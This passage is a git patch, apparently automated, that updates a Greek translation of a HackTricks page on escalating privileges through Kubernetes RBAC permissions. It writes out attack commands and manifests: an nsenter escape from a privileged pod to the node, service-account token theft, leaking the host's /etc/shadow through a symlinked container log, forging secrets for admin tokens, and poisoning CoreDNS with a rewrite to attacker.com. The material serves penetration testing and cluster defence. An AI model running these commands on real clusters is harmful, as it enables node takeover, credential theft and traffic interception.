From 0f0c4d5602ccab738e1b689dbfd1aa4db0ecb6fb Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 13 Apr 2025 14:34:32 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus --- .../README.md | 212 ++++++++++-------- 1 file changed, 115 insertions(+), 97 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 67f26975a..e1dbf8b36 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -3,21 +3,21 @@ {{#include ../../../banners/hacktricks-training.md}} Εδώ μπορείτε να βρείτε κάποιες δυνητικά επικίνδυνες ρυθμίσεις Roles και ClusterRoles.\ -Θυμηθείτε ότι μπορείτε να αποκτήσετε όλους τους υποστηριζόμενους πόρους με το `kubectl api-resources` +Θυμηθείτε ότι μπορείτε να αποκτήσετε όλους τους υποστηριζόμενους πόρους με `kubectl api-resources` ## **Privilege Escalation** -Αναφερόμενος ως η τέχνη του να αποκτάς **πρόσβαση σε έναν διαφορετικό κύριο** εντός του cluster **με διαφορετικά προνόμια** (εντός του kubernetes cluster ή σε εξωτερικά νέφη) από αυτά που ήδη έχετε, στο Kubernetes υπάρχουν βασικά **4 κύριες τεχνικές για την κλιμάκωση προνομίων**: +Αναφερόμενος ως η τέχνη του να αποκτάς **πρόσβαση σε έναν διαφορετικό κύριο** μέσα στο cluster **με διαφορετικά προνόμια** (μέσα στο kubernetes cluster ή σε εξωτερικά νέφη) από αυτά που ήδη έχετε, στο Kubernetes υπάρχουν βασικά **4 κύριες τεχνικές για την κλιμάκωση προνομίων**: -- Να είστε σε θέση να **παριστάνετε** άλλους χρήστες/ομάδες/SAs με καλύτερα προνόμια εντός του kubernetes cluster ή σε εξωτερικά νέφη -- Να είστε σε θέση να **δημιουργείτε/διορθώνετε/εκτελείτε pods** όπου μπορείτε να **βρείτε ή να συνδέσετε SAs** με καλύτερα προνόμια εντός του kubernetes cluster ή σε εξωτερικά νέφη +- Να είστε σε θέση να **παριστάνετε** άλλους χρήστες/ομάδες/SAs με καλύτερα προνόμια μέσα στο kubernetes cluster ή σε εξωτερικά νέφη +- Να είστε σε θέση να **δημιουργείτε/τροποποιείτε/εκτελείτε pods** όπου μπορείτε να **βρείτε ή να συνδέσετε SAs** με καλύτερα προνόμια μέσα στο kubernetes cluster ή σε εξωτερικά νέφη - Να είστε σε θέση να **διαβάζετε μυστικά** καθώς τα tokens των SAs αποθηκεύονται ως μυστικά -- Να είστε σε θέση να **διαφύγετε στον κόμβο** από ένα κοντέινερ, όπου μπορείτε να κλέψετε όλα τα μυστικά των κοντέινερ που εκτελούνται στον κόμβο, τα διαπιστευτήρια του κόμβου και τα δικαιώματα του κόμβου εντός του νέφους στο οποίο εκτελείται (αν υπάρχει) -- Μια πέμπτη τεχνική που αξίζει να αναφερθεί είναι η ικανότητα να **τρέχετε port-forward** σε ένα pod, καθώς μπορεί να είστε σε θέση να αποκτήσετε πρόσβαση σε ενδιαφέροντες πόρους εντός αυτού του pod. +- Να είστε σε θέση να **διαφύγετε στον κόμβο** από ένα κοντέινερ, όπου μπορείτε να κλέψετε όλα τα μυστικά των κοντέινερ που εκτελούνται στον κόμβο, τα διαπιστευτήρια του κόμβου και τα δικαιώματα του κόμβου μέσα στο νέφος στο οποίο εκτελείται (αν υπάρχει) +- Μια πέμπτη τεχνική που αξίζει να αναφερθεί είναι η ικανότητα να **τρέχετε port-forward** σε ένα pod, καθώς μπορεί να είστε σε θέση να αποκτήσετε πρόσβαση σε ενδιαφέροντες πόρους μέσα σε αυτό το pod. ### Access Any Resource or Verb (Wildcard) -Η **άγρια κάρτα (\*) δίνει άδεια σε οποιονδήποτε πόρο με οποιοδήποτε ρήμα**. Χρησιμοποιείται από τους διαχειριστές. Μέσα σε ένα ClusterRole αυτό σημαίνει ότι ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί οποιοδήποτε namespace στο cluster +Η **wildcard (\*) δίνει άδεια σε οποιονδήποτε πόρο με οποιοδήποτε ρήμα**. Χρησιμοποιείται από διαχειριστές. Μέσα σε ένα ClusterRole αυτό σημαίνει ότι ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί οποιοδήποτε namespace στο cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -33,7 +33,7 @@ verbs: ["*"] Στο RBAC, ορισμένες άδειες ενέχουν σημαντικούς κινδύνους: -1. **`create`:** Χορηγεί τη δυνατότητα δημιουργίας οποιουδήποτε πόρου του cluster, θέτοντας σε κίνδυνο την κλιμάκωση προνομίων. +1. **`create`:** Δίνει τη δυνατότητα δημιουργίας οποιουδήποτε πόρου κλάστερ, θέτοντας σε κίνδυνο την κλιμάκωση προνομίων. 2. **`list`:** Επιτρέπει την καταγραφή όλων των πόρων, ενδεχομένως διαρρέοντας ευαίσθητα δεδομένα. 3. **`get`:** Επιτρέπει την πρόσβαση σε μυστικά από λογαριασμούς υπηρεσιών, θέτοντας σε κίνδυνο την ασφάλεια. ```yaml @@ -123,25 +123,23 @@ kubectl --token $token create -f mount_root.yaml ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Τώρα που μπορείτε να διαφύγετε στον κόμβο, ελέγξτε τις τεχνικές μετα-εκμετάλλευσης στο: - #### Stealth -Πιθανώς θέλετε να είστε **πιο διακριτικοί**. Στις επόμενες σελίδες μπορείτε να δείτε τι θα μπορούσατε να έχετε πρόσβαση αν δημιουργήσετε ένα pod ενεργοποιώντας μόνο ορισμένα από τα προνόμια που αναφέρθηκαν στο προηγούμενο πρότυπο: +Θα θέλατε πιθανώς να είστε **πιο διακριτικοί**, στις επόμενες σελίδες μπορείτε να δείτε τι θα μπορούσατε να έχετε πρόσβαση αν δημιουργήσετε ένα pod ενεργοποιώντας μόνο ορισμένα από τα αναφερόμενα δικαιώματα στο προηγούμενο πρότυπο: - **Privileged + hostPID** -- **Privileged only** +- **Privileged μόνο** - **hostPath** - **hostPID** - **hostNetwork** - **hostIPC** -_Μπορείτε να βρείτε παραδείγματα για το πώς να δημιουργήσετε/καταχραστείτε τις προηγούμενες ρυθμίσεις privileged pods στο_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Μπορείτε να βρείτε παράδειγμα για το πώς να δημιουργήσετε/καταχραστείτε τις προηγούμενες ρυθμίσεις privileged pods στο_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Pod Create - Move to cloud -Αν μπορείτε να **δημιουργήσετε** ένα **pod** (και προαιρετικά έναν **λογαριασμό υπηρεσίας**) μπορεί να είστε σε θέση να **αποκτήσετε προνόμια σε περιβάλλον cloud** αναθέτοντας **ρόλους cloud σε ένα pod ή σε έναν λογαριασμό υπηρεσίας** και στη συνέχεια να έχετε πρόσβαση σε αυτό.\ -Επιπλέον, αν μπορείτε να δημιουργήσετε ένα **pod με το namespace δικτύου του host**, μπορείτε να **κλέψετε τον ρόλο IAM** της **περίπτωσης** του **κόμβου**. +Αν μπορείτε να **δημιουργήσετε** ένα **pod** (και προαιρετικά έναν **λογαριασμό υπηρεσίας**) μπορεί να είστε σε θέση να **αποκτήσετε δικαιώματα σε περιβάλλον cloud** με το **να αναθέσετε ρόλους cloud σε ένα pod ή σε έναν λογαριασμό υπηρεσίας** και στη συνέχεια να έχετε πρόσβαση σε αυτό.\ +Επιπλέον, αν μπορείτε να δημιουργήσετε ένα **pod με το namespace δικτύου του host** μπορείτε να **κλέψετε τον ρόλο IAM** της **περίπτωσης** του **node**. Για περισσότερες πληροφορίες ελέγξτε: @@ -151,7 +149,7 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -Είναι δυνατόν να καταχραστείτε αυτά τα δικαιώματα για να **δημιουργήσετε ένα νέο pod** και να εδραιώσετε προνόμια όπως στο προηγούμενο παράδειγμα. +Είναι δυνατόν να καταχραστείτε αυτές τις άδειες για να **δημιουργήσετε ένα νέο pod** και να αποκτήσετε δικαιώματα όπως στο προηγούμενο παράδειγμα. Το παρακάτω yaml **δημιουργεί ένα daemonset και εξάγει το token του SA** μέσα στο pod: ```yaml @@ -193,25 +191,30 @@ path: / **`pods/exec`** είναι ένας πόρος στο kubernetes που χρησιμοποιείται για **την εκτέλεση εντολών σε ένα shell μέσα σε ένα pod**. Αυτό επιτρέπει να **εκτελούνται εντολές μέσα στα containers ή να αποκτάται ένα shell μέσα**. -Επομένως, είναι δυνατόν να **μπείτε μέσα σε ένα pod και να κλέψετε το token του SA**, ή να εισέλθετε σε ένα προνομιούχο pod, να διαφύγετε στον κόμβο και να κλέψετε όλα τα tokens των pods στον κόμβο και να (κατα)χρησιμοποιήσετε τον κόμβο: +Επομένως, είναι δυνατόν να **μπείτε μέσα σε ένα pod και να κλέψετε το token του SA**, ή να εισέλθετε σε ένα προνομιούχο pod, να διαφύγετε στον κόμβο και να κλέψετε όλα τα tokens των pods στον κόμβο και να (κατα)χρηστείτε τον κόμβο: ```bash kubectl exec -it -n -- sh ``` +> [!NOTE] +> Από προεπιλογή, η εντολή εκτελείται στο πρώτο κοντέινερ του pod. Πάρτε **όλα τα pods σε ένα κοντέινερ** με `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` και στη συνέχεια **υποδείξτε το κοντέινερ** όπου θέλετε να το εκτελέσετε με `kubectl exec -it -c -- sh` + +Αν είναι ένα distroless κοντέινερ, μπορείτε να δοκιμάσετε να χρησιμοποιήσετε **shell builtins** για να αποκτήσετε πληροφορίες για τα κοντέινερ ή να ανεβάσετε τα δικά σας εργαλεία όπως ένα **busybox** χρησιμοποιώντας: **`kubectl cp :`**. + ### port-forward -Αυτή η άδεια επιτρέπει να **προωθείται μία τοπική θύρα σε μία θύρα στο συγκεκριμένο pod**. Αυτό έχει σκοπό να διευκολύνει την αποσφαλμάτωση εφαρμογών που εκτελούνται μέσα σε ένα pod, αλλά ένας επιτιθέμενος μπορεί να το εκμεταλλευτεί για να αποκτήσει πρόσβαση σε ενδιαφέρουσες (όπως βάσεις δεδομένων) ή ευάλωτες εφαρμογές (ιστοσελίδες;) μέσα σε ένα pod: -``` +Αυτή η άδεια επιτρέπει να **προωθήσετε μία τοπική θύρα σε μία θύρα στο καθορισμένο pod**. Αυτό προορίζεται για να μπορείτε να αποσφαλίσετε εφαρμογές που εκτελούνται μέσα σε ένα pod εύκολα, αλλά ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να αποκτήσει πρόσβαση σε ενδιαφέρουσες (όπως DBs) ή ευάλωτες εφαρμογές (ιστοσελίδες;) μέσα σε ένα pod: +```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), αν μπορείτε να αποκτήσετε πρόσβαση ή να δημιουργήσετε ένα pod με το **hosts `/var/log/` directory mounted** σε αυτό, μπορείτε να **escape from the container**.\ -Αυτό συμβαίνει βασικά επειδή όταν ο **Kube-API προσπαθεί να πάρει τα logs** ενός container (χρησιμοποιώντας `kubectl logs `), **requests the `0.log`** αρχείο του pod χρησιμοποιώντας το `/logs/` endpoint της υπηρεσίας **Kubelet**.\ -Η υπηρεσία Kubelet εκθέτει το `/logs/` endpoint το οποίο βασικά **exposing the `/var/log` filesystem of the container**. +As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), αν μπορείτε να έχετε πρόσβαση ή να δημιουργήσετε ένα pod με το **hosts `/var/log/` directory mounted** σε αυτό, μπορείτε να **escape from the container**.\ +Αυτό συμβαίνει βασικά επειδή όταν ο **Kube-API προσπαθεί να πάρει τα logs** ενός container (χρησιμοποιώντας `kubectl logs `), **ζητά το `0.log`** αρχείο του pod χρησιμοποιώντας το `/logs/` endpoint της υπηρεσίας **Kubelet**.\ +Η υπηρεσία Kubelet εκθέτει το `/logs/` endpoint το οποίο βασικά **εκθέτει το `/var/log` filesystem του container**. -Επομένως, ένας επιτιθέμενος με **access to write in the /var/log/ folder** του container θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά με 2 τρόπους: +Επομένως, ένας επιτιθέμενος με **πρόσβαση για εγγραφή στον φάκελο /var/log/** του container θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά με 2 τρόπους: -- Modifying the `0.log` file of its container (συνήθως βρίσκεται στο `/var/logs/pods/namespace_pod_uid/container/0.log`) ώστε να είναι ένα **symlink pointing to `/etc/shadow`** για παράδειγμα. Τότε, θα μπορείτε να exfiltrate hosts shadow file κάνοντας: +- Τροποποιώντας το `0.log` αρχείο του container του (συνήθως τοποθετημένο στο `/var/logs/pods/namespace_pod_uid/container/0.log`) ώστε να είναι ένα **symlink που δείχνει στο `/etc/shadow`** για παράδειγμα. Στη συνέχεια, θα μπορείτε να εξάγετε το αρχείο shadow των hosts κάνοντας: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -219,7 +222,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Αν ο επιτιθέμενος ελέγχει οποιονδήποτε φορέα με **δικαιώματα να διαβάσει `nodes/log`**, μπορεί απλά να δημιουργήσει ένα **symlink** στο `/host-mounted/var/log/sym` προς το `/` και όταν **πρόσβαση στο `https://:10250/logs/sym/` θα καταγράψει το ριζικό** σύστημα αρχείων των hosts (η αλλαγή του symlink μπορεί να παρέχει πρόσβαση σε αρχεία). +- Αν ο επιτιθέμενος ελέγχει οποιοδήποτε κύριο με **δικαιώματα να διαβάσει `nodes/log`**, μπορεί απλά να δημιουργήσει ένα **symlink** στο `/host-mounted/var/log/sym` προς το `/` και όταν **πρόσβαση στο `https://:10250/logs/sym/` θα καταγράψει το ριζικό** σύστημα αρχείων των hosts (η αλλαγή του symlink μπορεί να παρέχει πρόσβαση σε αρχεία). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -231,15 +234,15 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Ένα εργαστήριο και αυτοματοποιημένο exploit μπορεί να βρεθεί στο** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**Ένα εργαστήριο και μια αυτοματοποιημένη εκμετάλλευση μπορούν να βρεθούν στο** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) #### Παράκαμψη προστασίας readOnly -Αν είστε αρκετά τυχεροί και η πολύ προνομιούχα δυνατότητα `CAP_SYS_ADMIN` είναι διαθέσιμη, μπορείτε απλά να ξανατοποθετήσετε τον φάκελο ως rw: +Αν είστε αρκετά τυχεροί και η πολύ προνομιακή δυνατότητα `CAP_SYS_ADMIN` είναι διαθέσιμη, μπορείτε απλά να ξανατοποθετήσετε τον φάκελο ως rw: ```bash mount -o rw,remount /hostlogs/ ``` -#### Bypassing hostPath readOnly protection +#### Παράκαμψη προστασίας hostPath readOnly Όπως αναφέρεται σε [**αυτή την έρευνα**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), είναι δυνατόν να παρακαμφθεί η προστασία: ```yaml @@ -247,7 +250,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Που προοριζόταν να αποτρέψει τις διαφυγές όπως οι προηγούμενες, χρησιμοποιώντας, αντί για μια προσάρτηση hostPath, έναν PersistentVolume και μια PersistentVolumeClaim για να προσθέσει έναν φάκελο του host στο κοντέινερ με δικαιώματα εγγραφής: +Που προοριζόταν να αποτρέψει τις διαρροές όπως οι προηγούμενες, χρησιμοποιώντας αντί για hostPath mount, ένα PersistentVolume και ένα PersistentVolumeClaim για να τοποθετήσει έναν φάκελο του host στο κοντέινερ με δικαιώματα εγγραφής: ```yaml apiVersion: v1 kind: PersistentVolume @@ -318,8 +321,7 @@ curl -v -H "Authorization: Bearer " https://:/api/v1 ``` ### Δημιουργία και Ανάγνωση Μυστικών -Υπάρχει ένας ειδικός τύπος μυστικού Kubernetes του τύπου **kubernetes.io/service-account-token** που αποθηκεύει τα tokens του serviceaccount. -Αν έχετε άδειες για να δημιουργείτε και να διαβάζετε μυστικά, και γνωρίζετε επίσης το όνομα του serviceaccount, μπορείτε να δημιουργήσετε ένα μυστικό ως εξής και στη συνέχεια να κλέψετε το token του θύματος serviceaccount από αυτό: +Υπάρχει ένας ειδικός τύπος μυστικού Kubernetes του τύπου **kubernetes.io/service-account-token** που αποθηκεύει τα tokens του serviceaccount. Αν έχετε άδειες για να δημιουργείτε και να διαβάζετε μυστικά, και γνωρίζετε επίσης το όνομα του serviceaccount, μπορείτε να δημιουργήσετε ένα μυστικό ως εξής και στη συνέχεια να κλέψετε το token του serviceaccount του θύματος από αυτό: ```yaml apiVersion: v1 kind: Secret @@ -382,17 +384,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso ### Ανάγνωση ενός μυστικού – βίαιη επίθεση σε αναγνωριστικά token -Ενώ ένας επιτιθέμενος που κατέχει ένα token με δικαιώματα ανάγνωσης απαιτεί το ακριβές όνομα του μυστικού για να το χρησιμοποιήσει, σε αντίθεση με το ευρύτερο προνόμιο _**καταγραφής μυστικών**_, υπάρχουν ακόμα ευπάθειες. Οι προεπιλεγμένοι λογαριασμοί υπηρεσίας στο σύστημα μπορούν να καταμετρηθούν, καθένας συνδεδεμένος με ένα μυστικό. Αυτά τα μυστικά έχουν μια δομή ονόματος: ένα στατικό πρόθεμα ακολουθούμενο από έναν τυχαίο αλφαριθμητικό κωδικό πέντε χαρακτήρων (εξαιρουμένων ορισμένων χαρακτήρων) σύμφωνα με τον [κώδικα πηγής](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +Ενώ ένας επιτιθέμενος που κατέχει ένα token με δικαιώματα ανάγνωσης απαιτεί το ακριβές όνομα του μυστικού για να το χρησιμοποιήσει, σε αντίθεση με το ευρύτερο προνόμιο _**καταγραφής μυστικών**_, υπάρχουν ακόμα ευπάθειες. Οι προεπιλεγμένοι λογαριασμοί υπηρεσίας στο σύστημα μπορούν να καταμετρηθούν, καθένας από τους οποίους σχετίζεται με ένα μυστικό. Αυτά τα μυστικά έχουν μια δομή ονόματος: ένα στατικό πρόθεμα ακολουθούμενο από έναν τυχαίο αλφαριθμητικό token πέντε χαρακτήρων (εξαιρουμένων ορισμένων χαρακτήρων) σύμφωνα με τον [κώδικα πηγής](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -Ο κωδικός παράγεται από ένα περιορισμένο σύνολο 27 χαρακτήρων (`bcdfghjklmnpqrstvwxz2456789`), αντί για το πλήρες αλφαριθμητικό εύρος. Αυτός ο περιορισμός μειώνει τον συνολικό δυνατό αριθμό συνδυασμών σε 14,348,907 (27^5). Ως εκ τούτου, ένας επιτιθέμενος θα μπορούσε να εκτελέσει μια βίαιη επίθεση για να deduce τον κωδικό μέσα σε λίγες ώρες, ενδεχομένως οδηγώντας σε κλιμάκωση προνομίων μέσω της πρόσβασης σε ευαίσθητους λογαριασμούς υπηρεσίας. +Το token παράγεται από ένα περιορισμένο σύνολο 27 χαρακτήρων (`bcdfghjklmnpqrstvwxz2456789`), αντί για το πλήρες αλφαριθμητικό εύρος. Αυτός ο περιορισμός μειώνει τον συνολικό δυνατό αριθμό συνδυασμών σε 14,348,907 (27^5). Ως εκ τούτου, ένας επιτιθέμενος θα μπορούσε να εκτελέσει μια βίαιη επίθεση για να deduce το token μέσα σε λίγες ώρες, ενδεχομένως οδηγώντας σε κλιμάκωση προνομίων μέσω της πρόσβασης σε ευαίσθητους λογαριασμούς υπηρεσίας. ### Αιτήματα Υπογραφής Πιστοποιητικών Αν έχετε τα ρήματα **`create`** στον πόρο `certificatesigningrequests` (ή τουλάχιστον στο `certificatesigningrequests/nodeClient`). Μπορείτε να **δημιουργήσετε** ένα νέο CeSR ενός **νέου κόμβου.** -Σύμφωνα με την [τεκμηρίωση είναι δυνατό να εγκρίνετε αυτόματα αυτά τα αιτήματα](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), οπότε σε αυτή την περίπτωση **δεν χρειάζεστε επιπλέον δικαιώματα**. Αν όχι, θα πρέπει να μπορείτε να εγκρίνετε το αίτημα, που σημαίνει ενημέρωση στο `certificatesigningrequests/approval` και `approve` στο `signers` με resourceName `/` ή `/*` +Σύμφωνα με την [τεκμηρίωση είναι δυνατή η αυτόματη έγκριση αυτών των αιτημάτων](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), οπότε σε αυτή την περίπτωση **δεν χρειάζεστε επιπλέον δικαιώματα**. Αν όχι, θα χρειαστεί να μπορείτε να εγκρίνετε το αίτημα, που σημαίνει ενημέρωση στο `certificatesigningrequests/approval` και `approve` στο `signers` με resourceName `/` ή `/*` -Ένα **παράδειγμα ρόλου** με όλες τις απαιτούμενες άδειες είναι: +Ένα **παράδειγμα ρόλου** με όλα τα απαιτούμενα δικαιώματα είναι: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -423,10 +425,10 @@ resourceNames: verbs: - approve ``` -Έτσι, με την έγκριση του νέου CSR κόμβου, μπορείτε να **καταχραστείτε** τις ειδικές άδειες των κόμβων για να **κλέψετε μυστικά** και να **ανεβάσετε δικαιώματα**. +Έτσι, με την έγκριση του νέου CSR κόμβου, μπορείτε να **καταχραστείτε** τις ειδικές άδειες των κόμβων για να **κλέψετε μυστικά** και να **αναβαθμίσετε προνόμια**. -Στο [**αυτό το άρθρο**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) και [**σε αυτό**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) η διαμόρφωση TLS Bootstrap του GKE K8s είναι ρυθμισμένη με **αυτόματη υπογραφή** και καταχράται για να δημιουργήσει διαπιστευτήρια ενός νέου κόμβου K8s και στη συνέχεια να τα καταχραστεί για να ανεβάσει δικαιώματα κλέβοντας μυστικά.\ -Αν **έχετε τα αναφερόμενα δικαιώματα, μπορείτε να κάνετε το ίδιο**. Σημειώστε ότι το πρώτο παράδειγμα παρακάμπτει το σφάλμα που εμποδίζει έναν νέο κόμβο να έχει πρόσβαση σε μυστικά μέσα σε κοντέινερ, επειδή ένας **κόμβος μπορεί να έχει πρόσβαση μόνο στα μυστικά των κοντέινερ που είναι τοποθετημένα σε αυτόν.** +Στο [**αυτό το άρθρο**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) και [**σε αυτό**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) η διαμόρφωση TLS Bootstrap του GKE K8s είναι ρυθμισμένη με **αυτόματη υπογραφή** και καταχράται για να δημιουργήσει διαπιστευτήρια ενός νέου κόμβου K8s και στη συνέχεια να τα καταχραστεί για να αναβαθμίσει προνόμια κλέβοντας μυστικά.\ +Αν **έχετε τα αναφερόμενα προνόμια, μπορείτε να κάνετε το ίδιο**. Σημειώστε ότι το πρώτο παράδειγμα παρακάμπτει το σφάλμα που εμποδίζει έναν νέο κόμβο να έχει πρόσβαση σε μυστικά μέσα σε κοντέινερ, επειδή ένας **κόμβος μπορεί να έχει πρόσβαση μόνο στα μυστικά των κοντέινερ που είναι τοποθετημένα σε αυτόν.** Ο τρόπος για να παρακάμψετε αυτό είναι απλώς να **δημιουργήσετε διαπιστευτήρια κόμβου για το όνομα του κόμβου όπου είναι τοποθετημένο το κοντέινερ με τα ενδιαφέροντα μυστικά** (αλλά απλώς ελέγξτε πώς να το κάνετε στο πρώτο άρθρο): ```bash @@ -480,21 +482,61 @@ groups: > Ωστόσο, `aws --profile other_account eks update-kubeconfig --name ` **δεν λειτουργεί από διαφορετικό λογαριασμό**. Αλλά στην πραγματικότητα, `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` λειτουργεί αν βάλετε το ARN του cluster αντί για απλώς το όνομα.\ > Για να λειτουργήσει το `kubectl`, απλώς βεβαιωθείτε ότι έχετε **ρυθμίσει** το **kubeconfig των θυμάτων** και στα args εκτέλεσης του aws προσθέστε `--profile other_account_role` ώστε το kubectl να χρησιμοποιεί το προφίλ του άλλου λογαριασμού για να αποκτήσει το token και να επικοινωνήσει με το AWS. +### CoreDNS config map + +Αν έχετε τις άδειες να τροποποιήσετε το **`coredns` configmap** στο namespace `kube-system`, μπορείτε να τροποποιήσετε τις διευθύνσεις που θα επιλυθούν ώστε να μπορείτε να εκτελέσετε επιθέσεις MitM για **να κλέψετε ευαίσθητες πληροφορίες ή να εισάγετε κακόβουλο περιεχόμενο**. + +Οι ρήματα που χρειάζονται είναι **`update`** και **`patch`** πάνω στο **`coredns`** configmap (ή σε όλα τα config maps). + +Ένα κανονικό **coredns file** περιέχει κάτι σαν αυτό: +```yaml +data: +Corefile: | +.:53 { +log +errors +health { +lameduck 5s +} +ready +kubernetes cluster.local in-addr.arpa ip6.arpa { +pods insecure +fallthrough in-addr.arpa ip6.arpa +ttl 30 +} +prometheus :9153 +hosts { +192.168.49.1 host.minikube.internal +fallthrough +} +forward . /etc/resolv.conf { +max_concurrent 1000 +} +cache 30 +loop +reload +loadbalance +} +``` +Ένας επιτιθέμενος θα μπορούσε να το κατεβάσει εκτελώντας `kubectl get configmap coredns -n kube-system -o yaml`, να το τροποποιήσει προσθέτοντας κάτι όπως `rewrite name victim.com attacker.com` έτσι ώστε όποτε προσπελαστεί το `victim.com`, στην πραγματικότητα το `attacker.com` να είναι το domain που θα προσπελαστεί. Και στη συνέχεια να το εφαρμόσει εκτελώντας `kubectl apply -f poison_dns.yaml`. + +Μια άλλη επιλογή είναι να επεξεργαστεί απλά το αρχείο εκτελώντας `kubectl edit configmap coredns -n kube-system` και κάνοντας αλλαγές. + ### Escalating in GKE -Υπάρχουν **2 τρόποι για να ανατεθούν άδειες K8s σε GCP principals**. Σε κάθε περίπτωση, ο principal χρειάζεται επίσης την άδεια **`container.clusters.get`** για να μπορέσει να συγκεντρώσει διαπιστευτήρια για να έχει πρόσβαση στο cluster, αλλιώς θα χρειαστεί να **δημιουργήσει το δικό του αρχείο ρυθμίσεων kubectl** (ακολουθήστε τον επόμενο σύνδεσμο). +Υπάρχουν **2 τρόποι για να ανατεθούν δικαιώματα K8s σε GCP principals**. Σε κάθε περίπτωση, ο principal χρειάζεται επίσης την άδεια **`container.clusters.get`** για να μπορέσει να συγκεντρώσει διαπιστευτήρια για να έχει πρόσβαση στο cluster, αλλιώς θα χρειαστεί να **δημιουργήσει το δικό του αρχείο ρυθμίσεων kubectl** (ακολουθήστε τον επόμενο σύνδεσμο). > [!WARNING] > Όταν μιλάτε με το K8s api endpoint, το **GCP auth token θα σταλεί**. Στη συνέχεια, το GCP, μέσω του K8s api endpoint, θα ελέγξει πρώτα αν ο **principal** (με email) **έχει πρόσβαση μέσα στο cluster**, και μετά θα ελέγξει αν έχει **οποιαδήποτε πρόσβαση μέσω GCP IAM**.\ -> Αν **οποιοδήποτε** από αυτά είναι **αληθινό**, θα **απαντηθεί**. Αν **όχι**, θα δοθεί ένα **σφάλμα** που προτείνει να δοθούν **άδειες μέσω GCP IAM**. +> Αν **οποιοδήποτε** από αυτά είναι **αληθινό**, θα **απαντηθεί**. Αν **όχι**, θα δοθεί ένα **σφάλμα** που προτείνει να δοθούν **δικαιώματα μέσω GCP IAM**. -Έτσι, η πρώτη μέθοδος είναι η χρήση του **GCP IAM**, οι άδειες K8s έχουν τις **ισοδύναμες άδειες GCP IAM**, και αν ο principal τις έχει, θα μπορεί να τις χρησιμοποιήσει. +Στη συνέχεια, η πρώτη μέθοδος είναι η χρήση **GCP IAM**, τα δικαιώματα K8s έχουν τα **ισοδύναμα δικαιώματα GCP IAM**, και αν ο principal τα έχει, θα μπορεί να τα χρησιμοποιήσει. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -Η δεύτερη μέθοδος είναι **η ανάθεση αδειών K8s μέσα στο cluster** αναγνωρίζοντας τον χρήστη με το **email** του (συμπεριλαμβανομένων των λογαριασμών υπηρεσιών GCP). +Η δεύτερη μέθοδος είναι **η ανάθεση δικαιωμάτων K8s μέσα στο cluster** αναγνωρίζοντας τον χρήστη μέσω του **email** του (συμπεριλαμβανομένων των GCP service accounts). ### Create serviceaccounts token @@ -506,18 +548,18 @@ Principals που μπορούν να **`update`** ή **`patch`** **`pods/epheme ### ValidatingWebhookConfigurations or MutatingWebhookConfigurations -Principals με οποιοδήποτε από τα ρήματα `create`, `update` ή `patch` πάνω σε `validatingwebhookconfigurations` ή `mutatingwebhookconfigurations` μπορεί να είναι σε θέση να **δημιουργήσουν μία από αυτές τις webhookconfigurations** προκειμένου να 